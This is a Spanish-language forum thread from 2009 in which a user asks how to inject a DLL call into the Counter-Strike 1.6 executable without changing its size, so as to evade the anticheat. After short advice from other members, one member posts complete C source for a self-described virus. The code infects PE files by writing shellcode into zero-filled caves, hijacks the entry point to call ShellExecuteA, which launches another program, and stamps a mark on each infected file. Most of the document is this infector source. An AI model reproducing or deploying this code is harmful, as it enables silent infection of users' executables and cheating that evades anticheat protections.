¿Agregar una llamada de una funcion de una .DLL a un archivo PE?

Iniciado por --<<<@u6u$t0>>>--, 3 Marzo 2009, 22:53 PM

0 Miembros y 1 Visitante están viendo este tema.

--<<<@u6u$t0>>>--

Hola, empece a aprender hace poco sobre la estrucura de un archivo PE, y ahora estoy viendo como agregar un llamada a un archivo ejecutable sin agregar una sección ni agrandar el tamaño del archivo, ya que de lo contrario me detecta el programa anticheat.

El ejecutable que necesito modificar se llama HL.exe, pesa 80 KB justo, tiene 4 secciones que son: .TEXT .RDATA .DATA .RSRC, y la tabla de importaciones llama 91 fuciones de las librerias WSOCK32.DLL, KERNEL32.DLL, USER32.DLL, ADVAPI.DLL. Es el EXE principal de Counter Strike 1.6 No Steam.

Mi plan es usar los espacios vacios (00 00 00 00 etc) del EXE, segun vi con el editor exadecimal, para agregar una llamada. Pero el problema es que al agregar la llamada a una funcion con el programa Stud PE 2.4.0.1 se crea una nueva sección llamda .NEWIMP. Si borro la sección desaparece la Tabla de Importaciones.

Si quieren el programa lo pueden bajar de aca:
http://asus1004.tistory.com/155

Si quieren analizar el EXE y no tiene el juego lo subi aca:
http://www.4shared.com/file/90571974/5319dac9/hl_online.html?dirPwdVerified=a0cb55d8

Estoy aprendiendo todavia así que ucalquier ayuda sirve. Gracias, chau.

AugustoM Augus1990 @u6u$t0
Tengo que saber mas sobre Informatica...

                                             ---<<<‹|[@u6u$t0]|›>>>---

AugustoM Augus1990 @u6u$t0

tena

Tambien podrias con un injerto usar GetModuleHandle para la dll  y GetProcAddress para la funcion, y luego haces la llamada a esta.

slds

karmany

Yo lo haría como te dice tena, pero no con un editor hexadecimal que te puedes equivocar facilmente sino con el mismo OllyDBG. También tienes que tener presente una cosa importante: debes verificar si esos bytes a 00 que comentas no se utilizan para nada más, ya que sino pueden ser modificados o darte algún resultado inesperado.

Mi consejo es que lo analices con OllyDBG.

bizco

Para lo que quieres no te vale, ya que se le aplica md5 al fichero. que no cambie de tamaño es lo de menos, 1 byte cambiado y el md5 es diferente.

solidcls

El topo te scanea el exe yte agrega bytes en ena sección que ya exista
Solid [CrAcKsLaTiNoS]

Karman

más ayá que la mayoría de los anticheats tienen un control md5 del ejecutable (no permiten que se modifique ni un solo bit) la modificación del código se puede hacer si tu ejecutable contiene alguna llamada a alguna función que lance ejecutables o abra librerías: ShellExecute o LoadLibrary por ejemplo...

este código modificaba un ejecutable para que ejecute otro programa:


/*
Coder: Karman
Name of Proyect: Viruchezco Barato...
Version: 0.9.5-A
Date: 02-02-05

Nota: Hermoso Codigo de infeccion de archivos PE
sin modificacion de tamanio ni adision de secciones...
*/

#include <windows.h>
#include <Strings.h>
//#include <stdio.h>

typedef unsigned int uint;
typedef unsigned char uchar;

uchar code[]={
//*********************** Strings *************************
  //FileName 1 ?
  0,0,0,0,0,0,0,0,0,0,0,0,0,
  //FileName 2 ?
  0,0,0,0,0,0,0,0,0,0,0,0,0,
  //FileName me... jejeje
  0,0,0,0,0,0,0,0,0,0,0,0,0,
  // open                   
  'o' ,'p' ,'e' ,'n' ,0,
//*********************** Code *****************************
  //xor edi
  0x33,0xff,
  //add edi, 0d
  0x83,0xc7,0x0d,
  //mov eax, dir...         
  0xb8,0x00,0x00,0x00,0x00,
  //add eax, edi
  0x03,0xc7,
  //push 0A (ShowMode)
  0x6a,0x0a,
  //push 00 (Directory)
  0x6a,0x00,
  //push 00 (Parameters)
  0x6a,0x00,
  //push eax (File)
  0x50,
  //push "open" (Command)
  0x68,0x00,0x00,0x00,0x00,
  //push 00 (HWND)
  0x6a,0x00,
  //call shellexecute()             
  0xff,0x15,0x00,0x00,0x00,0x00,
  //cmp al,02
  0x3c,0x02,
  //je 05 (Down)
  0x74,0x05,
  //jmp old entry point
  0xe9,0x00,0x00,0x00,0x00,
  //cmp edi,39 
  0x83,0xff,0x27,
  //jne 212 (up)
  0x75,0xd4,
  //Ret
  0xc3,
  //Mark
  'D','e','L','a','C','a','b','e','z','a',' ',
  '2','0','0','5',' ',
  '-','V','r','.',' ',
  '0','.','9','.','5','.','A','-'
};

//DeLaCabeza 2005 - Vr. 0.9.5-A .-
HANDLE hfp;DWORD dwRW;
uint apep,val,val2,ira,*pval,*pval2,*sd;
uint ita,its,itva,ib,ns,epva,epa,epd,eps,FSize;
uchar av,va,*PMV,*pPMV,*pFN;

void strcopy(uchar *obj,uchar *data,uint pos)
{uchar cp;for(cp=0;cp<lstrlen(data);cp++)obj[pos+cp]=data[cp];}

//Infection Function... 
//que hermoso código papá...   
int infection(uchar *FName,uchar *txt0,uchar *txt1)
{
  its=0;ns=0;
   
  //Revisamos el FileName... Quitamos el File Path...
  pFN=FindLastChar(FName,'\\');
   
  // Old Format Names... 8x3
  if(StrLen(txt0)>12||StrLen(txt1)>12||StrLen(pFN)>12)return 1;//Ma' que te pasa?
 
  //Openigzamos el file...
  hfp = CreateFile(FName,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
  if(hfp == INVALID_HANDLE_VALUE)return 2;//Pinche file...
 
  //lectura del fichero (PE Header)...
  PMV = (char*)GlobalAlloc(GPTR,0x601);
  ReadFile(hfp, PMV, 0x600, &dwRW, NULL);
  if(GetLastError()==ERROR_HANDLE_EOF)goto Free;
 
  //ya lo garque?
  pPMV=&PMV[0x4e];if(StrCompN(pPMV,"This",4))goto Free;

  //hubicamos los recursos... PE start Address
  pval=(int *)&PMV[0x3c];val=*pval;
 
  //file type... PE?
  pPMV=&PMV[val];if(StrCompN(pPMV,"PE",2))goto Free;
 
  //Size of Header... (1,5 Kb)
  if((val+*((int*)&PMV[val+0x54]))>0x600)goto Free;
 
  //Number of sections
  pval=(int *)&PMV[val+0x06];ns=*(pval)&0xFFFF;
  //Entry Point Virtual Address
  pval=(int *)&PMV[val+0x28];epva=*pval;apep=val+0x28;
  //Image Base
  pval=(int *)&PMV[val+0x34];ib=*pval;
  //Import Table Virtual Address
  pval=(int *)&PMV[val+0x80];itva=*pval;
 
  //Object Table Scaner
  sd=(int *)&PMV[val+0x100];   
  for(av=0;av<ns;av++)
  {
    //Phisic Address of IT
    if((itva>=sd[1])&&(itva<(sd[0]+sd[1]))){ita=itva-sd[1]+sd[3];its=sd[2];}
    //Phisic Address of EP
    if((epva>=sd[1])&&(epva<(sd[0]+sd[1]))){epa=sd[3];eps=sd[2];epd=sd[1];}
    //Next Struct info...
    sd+=0x0A; 
  } 

  //sd[0]:Virtual Size - sd[1]:Virtual Address
  //sd[2]:Phisic Size  - sd[3]:Phisic Address
   
  Free: GlobalFree(PMV);
 
  //lectura del fichero (IT Struct)...
  if(its>0){
    PMV = (char*)GlobalAlloc(GPTR,its+1);//pos=ita;
    SetFilePointer(hfp,ita,NULL,FILE_BEGIN); 
    ReadFile(hfp, PMV, its, &dwRW, NULL);PMV[its]=0;
    if(GetLastError()==ERROR_HANDLE_EOF)goto EndFind;
   
    //Find Function in Import Table...
    ira=0;pval=(int *)PMV;
      while(*pval&&!ira){
        val=*pval-itva;av=0;
        if(val>its)goto EndFind;
        pval2=(int *)&PMV[val];         
        while(*pval2){
          val2=*pval2-itva; 
          if(val2<its){
            pPMV=&PMV[val2+2];
            if(!StrComp(pPMV,"ShellExecuteA")){
              ira=*(pval+0x04)+ib+av*0x04;
              goto EndFind;
            }
          }
          pval2++;av++;
        }
        pval+=5;     
      }
    EndFind: GlobalFree(PMV);
  }
 
  va=0;if(ira){val=0;
    PMV = (char*)GlobalAlloc(GPTR,eps+1);
    SetFilePointer(hfp,epa,NULL,FILE_BEGIN); 
    ReadFile(hfp, PMV, eps, &dwRW, NULL);PMV[eps]=0;
    //Find Space...
    while(val<eps&&va<0x65)if(!PMV[val++])va++;else va=0;
    GlobalFree(PMV);
  }
 
  if(va>=0x65){
    //Make positions
    val-=0x60;
    //Making the Path... FNames
    strcopy(code,txt0,0x00);strcopy(code,txt1,0x0d);strcopy(code,pFN,0x1a);
    //directions
    pval=(int *)&code[0x32];*pval=ib+epd+val-0x0d;
    //Push "open"
    pval=(int *)&code[0x40];*pval=ib+epd+val+0x27;
    //call shellexecute()
    pval=(int *)&code[0x48];*pval=ira;
    //jmp old entry point
    pval=(int *)&code[0x51];*pval=epva-epd-val-0x55;
   
    //Escribimos...
    SetFilePointer(hfp,epa+val,NULL,FILE_BEGIN); 
    WriteFile(hfp, code, 0x5b, &dwRW, NULL);
   
    //calc address of entry point
    pval=(int *)&code[0x00];*pval=epd+val+0x2C;
    SetFilePointer(hfp,apep,NULL,FILE_BEGIN); 
    WriteFile(hfp, code, 0x4, &dwRW, NULL);
   
    //File Mark
    SetFilePointer(hfp,0x4e,NULL,FILE_BEGIN);
    WriteFile(hfp,&code[0x5b],29, &dwRW, NULL);
  }
  CloseHandle(hfp);
  return 0;
}

int main(void){
  infection("c:\\k.exe","boot.exe","filename.exe");
  system("pause");
}
// La verda' que eto e' una obra de marte... .)


PD: me olvidaba que defini un par de funciones extras en un .h .c
Strings.h/c (el h solo tenía los prototipos)
/*
* Strings.c
*
* Definitions for string functions.
*
*  This source code is offered for use in the public domain. You may
*  use, modify or distribute it freely.
*
*  This code is distributed in the hope that it will be useful but
*  WITHOUT ANY WARRANTY. ALL WARRANTIES, EXPRESS OR IMPLIED ARE HEREBY
*  DISCLAIMED. This includes but is not limited to warranties of
*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* $Revision: 1.0
* $Author: Karman
* $Date: 2004/03/02
*
*/

//Global Var's
#include <windows.h>
char itstmp[12];

//Code Start...

void StrIns(char *obj,char *data,int pos){
  obj+=pos;
  while(*data)*(obj++)=*(data++);
}

char *Upper(char *buff){
char *buf=buff;
while(*buff){if(*buff>0x60&&*buff<0x7b)*buff-=0x20;buff++;}
return buf;
}

char *Lower(char *buff){
char *buf=buff;
while(*buff){if(*buff>0x40&&*buff<0x5b)*buff+=0x20;buff++;}
return buf;
}

char *StrCat(char *buff1,char *buff2){
char *buf=buff1;while(*buff1)buff1++;
while(*buff2)*(buff1++)=*(buff2++);
*buff1=0;return buf;
}

char *StrCatN(char *buff1,char *buff2,int nc){
char *buf=buff1;while(*buff1)buff1++;
while(*buff2&&(nc--))*(buff1++)=*(buff2++);
*buff1=0;return buf;
}

char *StrCopy(char *buff1,char *buff2){
char *buf=buff1;
while(*buff2)*(buff1++)=*(buff2++);
*buff1=0;return buf;
}

char *StrCopyN(char *buff1,char *buff2,int nc){
char *buf=buff1;
while(*buff2&&(nc--))*(buff1++)=*(buff2++);
*buff1=0;return buf;
}

char *FindFirstChar(char *buff,char cf){
while(*buff&&*buff!=cf)buff++;
if(!(*buff)&&cf)return 0;
return buff;
}

char *FindLastChar(char *buff,char cf){
  char *buff2=NULL;
  while(*buff)if(*(buff++)==cf)buff2=buff;
  return buff2;
}

char *StrTokenChar(char *buff1,char *buff2,char cf1,char cf2){
*buff1=0;
while(*buff2){
  if(*(buff2++)==cf1){
    while(*buff2){
      *buff1=*(buff2++);*(++buff1)=0;
      if(*buff2==cf2)goto end;
    }
  }
}
end:
return buff1;
}

int StringsTokens(char *buff1,char *buff2,char cf1,char cf2,int no){
int av=0;char *tmp=buff1;*buff1=0;
while(*buff2&&av<no){buff1=tmp;
  if(*(buff2++)==cf1){++av;
    while(*buff2&&*buff2!=cf2){
      *buff1=*(buff2++);*(++buff1)=0;
    }
  }
}return av;
}

int FindPrevStr(char *buff1,char *buff2,char cf,int no){
int av=0,pos=0,ap=0;*buff1=0;char *tmp=buff1;
while(*buff2){
  if(*buff2==cf){pos=ap;if(++av==no)break;}
  *buff1=*buff2;buff1++;buff2++;ap++;
}tmp[pos]=0;
return av;
}

int StrLen(char *buff){
  int ret=0;
  while(*buff){ret++;buff++;}
  return ret;
}

int StrComp(char *buff1,char *buff2){
  int ret=0;
  while(*buff1&&*buff2){if(*(buff1++)!=*(buff2++))ret++;}
  if(*buff1||*buff2)ret++;
  return ret;
}

int StrCompN(char *buff1,char *buff2,int nc){
  int ret=0,av;
  while(*buff1&&*buff2&&(nc)){--nc;
    if(*(buff1++)!=*(buff2++))ret++;
  }if((*buff1^*buff2)&&nc)ret++;
  return ret;
}

int FindNum(char *bf){
int tn=0;char av=0;
while(*bf){
  if((*bf>0x2F)&&(*bf<0x3a)){
    if(av)tn*=10;tn+=*bf-0x30;av=1; 
  }else if(av)break;bf++;
}return tn;
}

char *offset(int val){
int tmp;char *temp=itstmp;int at=val;
temp+=11;*temp=0;do{tmp=val/10;--temp;
*temp=((at>0)?(val-tmp*10):-(val-tmp*10))+0x30;val=tmp;
}while(val);if(at<0){--temp;*temp='-';}return temp;
}
//End Code...


en el podrás ver un pantallazo de como se hace...

S2